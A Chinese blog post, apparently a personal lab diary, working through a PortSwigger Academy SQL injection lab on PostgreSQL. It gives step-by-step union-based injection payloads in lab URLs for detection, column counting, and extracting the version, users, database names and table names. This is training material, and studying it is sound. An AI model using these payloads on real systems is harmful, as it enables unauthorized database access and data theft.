sql注入从0到入院(P1)

admin 2023年12月19日14:35:06评论49 views字数 2227阅读7分25秒阅读模式

    鉴于注入这块知识盲区空间非常大,错过了许多sql注入漏洞,

我们的人生,总不能一直在错过吧~

故写此系列靶场杂记,纯净版日记,记录我的sql注入成渣之旅~

靶场一 pgsql数据库union查询
https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data
1.单引号报错

https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle'

sql注入从0到入院(P1)


2.两个单引号正常返回

https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle''

sql注入从0到入院(P1)

3.三个单引号继续报错

https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle'''

sql注入从0到入院(P1)


4.至此可以判定为where条件注入,结合联合注入,使用oder by猜测字段数量,结尾使用两个减号注入后面的条件sql部分,注意,这里的order by的数字可以使用二分减半方式快速判定字段数量,我们先定个50。

https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle' order by 50--

sql注入从0到入院(P1)


继续减半

sql注入从0到入院(P1)

sql注入从0到入院(P1)

sql注入从0到入院(P1)

范围6-12,取中间值8

sql注入从0到入院(P1)

sql注入从0到入院(P1)

sql注入从0到入院(P1)

5.确定8个字段,开始联合注入

https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle' union select 1,2,3,4,5,6,7,8 --

sql注入从0到入院(P1)


返回报错,为什么呢?根据chatgpt的回复,是因为这个靶场的数据库为pgsql,pgsql是强类型数据库,它要求在进行比较操作时操作数的数据类型必须一致。相反,MySQL 在某些情况下允许混合数据类型的排序,它可能会自动将不同类型的字段进行隐式转换。根据这一特性,我们把数字加上单引号。

sql注入从0到入院(P1)

从上可以看出回显位置在3,那么查看一下数据库版本号。

https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle' union select '1','2',version(),'4','5','6','7','8' --

sql注入从0到入院(P1)

成功回显,接下来就是出数据了。
6.查询pgsql数据库用户名原始语句

SELECT usename, usesuper FROM pg_user;

实战的时候,为了把所有的结果拼接在一起,可以使用string_agg函数

https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle' union select '1','2',string_agg(usename, ', '),'4','5','6','7','8' from pg_user--

sql注入从0到入院(P1)

获取当前数据库名称

https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle' union select '1','2',current_database(),'4','5','6','7','8' --

sql注入从0到入院(P1)

获取数据库表名

https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle' union select '1','2',string_agg(table_name,','),'4','5','6','7','8' from  information_schema.tables --

sql注入从0到入院(P1)

获取所有数据库名称

https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle' union select '1','2',string_agg(datname,','),'4','5','6','7','8' from pg_database --

sql注入从0到入院(P1)


获取指定库的所有表名(但是似乎没有任何返回,不知道什么原因)

https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle' union select '1','2',string_agg(tablename,','),'4','5','6','7','8' from  pg_tables WHERE schemaname = 'postgres' --

sql注入从0到入院(P1)

联合注入差不多到此~拜拜~


原文始发于微信公众号(森柒柒):sql注入从0到入院(P1)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月19日14:35:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   sql注入从0到入院(P1)https://cn-sec.com/archives/2316324.html

发表评论

匿名网友 填写信息